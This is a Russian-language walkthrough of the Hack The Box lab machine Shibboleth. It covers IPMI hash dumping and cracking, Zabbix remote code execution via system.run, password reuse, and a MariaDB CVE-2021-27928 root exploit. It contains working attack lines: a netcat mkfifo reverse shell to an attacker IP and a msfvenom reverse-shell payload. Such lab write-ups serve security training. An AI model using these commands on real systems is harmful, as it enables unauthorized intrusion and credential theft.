Выкладываем наше прохождение Medium машины Shibboleth на HTB (Hack The Box). Из данной статьи вы узнаете, что доступные UDP сервисы также могут стать проблемой в безопасности. Выясните как можно получить хеши пользователей через IPMI. Научитесь эксплуатировать уязвимости в Zabbix для получения точки опоры, а затем CVE-2021-27928 в MySQL для получения контроля над root.
Разведка
Nmap
Запустим сканирование машины и посмотрим открытые порты и сервисы на них. Сканировать будем все TCP порты с параметрами -sCV (для использования стандартных скриптов и обнаружения версий сервисов):
nmap -sCV -p- 10.10.11.124
Nmap нашел только один открытый TCP порт – 80 (HTTP).
На 80 порту происходит перенаправление наhttp://shibboleth.htb,добавим полученные данные в /etc/hosts:
10.10.11.124 shibboleth.htb
Поиск доменов
Используя полученную информацию о доменах, можно запустить поиск поддоменов с помощью gobuster. Будем использовать режим vhost, словарь subdomains-top1million-5000.txt из пакета seclists и опцию -r для перенаправления (без этой опции будет выводить все домены с 302 ошибкой).
gobuster vhost -u http://shibboleth.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r
Добавим найденные домены в /etc/hosts:
10.10.11.124 shibboleth.htb monitor.shibboleth.htb monitoring.shibboleth.htb zabbix.shibboleth.htb
shibboleth.htb TCP 80
Сайт shibboleth.htb представляет собой сайт команды дизайнеров:
Сайт содержит много текста и картинок не представляющего никакого интереса, все ссылки либо не работают, либо ведут на разные разделы этой же страницы.
Форма Contact Us не работает:
Программное обеспечение
Wappalyzer не находит на сайте ничего. Кроме Apache 2.4.41 из результатов nmap о ПО сайта ничего неизвестно.
Перебор директорий
Для перебора директорий сайта будем использовать feroxbuster.
feroxbuster -u http://shibboleth.htb
Находим 2 директории, но в них ничего интересного:
monitor.shibboleth.htb monitoring.shibboleth.htb zabbix.shibboleth.htb TCP 80
Все три поддомена ведут на один и тот же сайт с формой входа Zabbix:
Креды по умолчанию и admin:admin не подходят.
Выполним поиск эксплойтов для Zabbix. Обнаружим уязвимость «Zabbix 5.x SQL Injection / Cross Site Scripting» и «Bypass login»:
Pocs Bypass login - access dashborad:
http://domain/zabbix/zabbix.php?action=dashboard.list
http://doamin/zabbix/zabbix.php?action=problem.view&ddreset=1
http://doamin/zabbix/overview.php?ddreset=1
http://doamin/zabbix/hostinventoriesoverview.php?ddreset=1
http://doamin/zabbix/screenconf.php
К сожалению, эксплойт не работает и придётся искать другие пути.
Nmap UDP Scan
Выполним сканирование UDP портов с помощью nmap (параметр -sU отвечает за сканирование UDP):
nmap -sU 10.10.11.124 -T4
Nmap нашел открытый UDP порт – 623 (IPMI).
Взлом Zabbix
Анализ IPMI
IPMI (Intelligent Platform Management Interface) используется для удаленного подключения и управления сервером. С помощью IPMI можно:
Проводить мониторинг физического состояния оборудования, например, проверять температуру отдельных составляющих системы, уровни напряжения, скорость вращения вентиляторов;
Восстанавливать работоспособность сервера в автоматическом или ручном режиме (удаленная перезагрузка системы, включение/выключение питания, загрузка ISO-образов и обновление программного обеспечения);
Управлять периферийными устройствами;
Вести журнал событий;
Хранить информацию об используемом оборудовании.
Для получения версии IPMI можно воспользоваться скриптом Metasploit:
use auxiliary/scanner/ipmi/ipmi_version
Используется IPMI версии 2.
IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval CVE-2013-4786
IPMI 2.0 использует аутентификацию RMCP+ Authenticated Key-Exchange Protocol (RAKP), которая позволяет удаленным злоумышленникам получать хэши паролей и проводить автономные атаки с подбором пароля, получая HMAC из двух ответов RAKP от Baseboard Management Controllers (BMC).
По сути, вы можете запросить у сервера хэши MD5 и SHA1 любого имени пользователя, и если имя пользователя существует, эти хэши будут отправлены обратно.
Для получения хэшей существует модуль Metasploit:
use auxiliary/scanner/ipmi/ipmi_dumphashes
Получен хэш пользователя Administrator. Выполним его взлом.
Взлом IPMI хэша
Для взлома IPMI хэша воспользуемся утилитой hashcat в режиме 7300 (IPMI2 RAKP HMAC-SHA1), с параметром –user (для того, чтобы можно было подбирать с именем пользователя) и со словарём rockyou:
Обзор Zabbix
Используя полученные учетные данные Administrator:ilovepumkinpie1 входим в Zabbix:
Изучая Zabbix находим упоминание shibboleth.htb (на странице Monitoring->Hosts).
На странице Configuration->Hosts видим следующую информацию:
RCE на Zabbix
Проводя дальнейший анализ содержимого хоста мониторинга shibboleth.htb находим интересные Items:
Также можно создать свой item:
В качестве ключа можно выбрать system.run[command, <mode>], который по описанию выполнить команду на хосте:
Создадим новый item с key system.run[id]:
Нажмем кнопку Test для проверки выполнения команды:
Нажмем «Get value» в появившемся окне и получим RCE:
Reverse Shell
Для получения Reverse Shell необходимо использовать следующий ключ:
system.run[rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.147 1337 >/tmp/f,nowait]
Режим nowait позволяет не ждать ответа от команды и создает стабильное подключение.
Запускаем netcat на прослушивание и получаем reverse shell:
Повышение привилегий
Получаем tty shell с помощью команды:
python3 -c 'import pty; pty.spawn("/bin/sh")'
Пытаемся получить user.txt:
Для получения доступа до пользователя «ipmi-svc» используем технику password spraying.
Password spraying — это атака, получения доступа к большому количеству учетных записей пользователей с помощью нескольких часто используемых паролей.
Традиционные атаки грубой силы пытаются получить несанкционированный доступ к одной учетной записи путем подбора пароля. Это может быстро привести к блокировке целевой учетной записи, поскольку часто используемые политики блокировки учетной записи допускают ограниченное количество неудачных попыток (обычно от трех до пяти) в течение установленного периода времени.
Во время атаки Password spraying злоумышленник пытается использовать один часто используемый пароль (например, «Password1» или «Summer2017») для многих учетных записей, прежде чем перейти к следующему паролю.
Кроме того, при нахождении какого-либо пароля злоумышленник может пробовать применять его на различных других ресурсах.
Используя ранее обнаруженный пароль (взломанный из хэша IPMI), получаем доступ к пользователю «ipmi-svc».
Получаем user.txt:
Путь до root
Анализ системы
Выполним поиск сервисов с помощью netstat:
Внутрь смотрит порт 3306 - MySQL.
Выполним анализ конфигурационного файла Zabbix, который находится в /etc/zabbix. В ходе анализа zabbix_server.conf обнаруживаем учетные данные от базы данных:
Попробуем подключиться с учетными данными к MySQL:
Эксплуатация MySQL CVE-2021-27928
При подключении к MySQL получили версию «10.3.25-MariaDB». Попробуем выполнить поиск эксплойтов для данной версии:
Обнаруживаем несколько эксплойтов для CVE-2021-27928 – OS Command Execution.
Следуя инструкции по эксплуатации данной уязвимости создаём payload с помощью msfvenom:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.147 LPORT=4444 -f elf-so -o expl.so
Загружаем expl.so на машину с помощью wget:
Запускаем netcat на прослушивание и выполняем payload:
Получаем shell от root:
Подписывайтесь на наш паблик ВКонтакте, Telegram, Яндекс.Дзен, канал на YouTube и RuTube чтобы не пропустить новые Прохождения машин на Hack The Box!
#htb #hackthebox #hacking #hacker #пентест #пентестер #кибербезопасность #secware #информационная безопасность #информационные технологии